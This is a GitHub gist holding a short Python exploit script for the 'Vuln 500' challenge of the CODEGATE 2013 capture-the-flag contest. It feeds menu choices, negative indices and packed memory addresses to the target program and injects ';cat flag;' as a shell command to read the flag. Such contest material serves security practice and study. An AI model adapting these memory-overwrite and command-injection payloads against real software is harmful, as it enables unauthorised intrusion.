-
-
Save potetisensei/bbfc34b2ee047d760e24 to your computer and use it in GitHub Desktop.
Vuln 500 - CODEGATE 2013
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from socket import * | |
from time import time, sleep | |
from struct import pack, unpack | |
from sys import argv | |
def main(): | |
payload = "a"*200 | |
print "4" | |
print "1" | |
print "-45" | |
print "4" | |
print "1" | |
print "-46" | |
print "2" | |
print pack("<I", 0x0804B3F8-4) * (0x70/4) | |
print (pack("<I", 0x0804B3F8-4) + ";cat flag;").ljust(69, "a") | |
print "1" | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment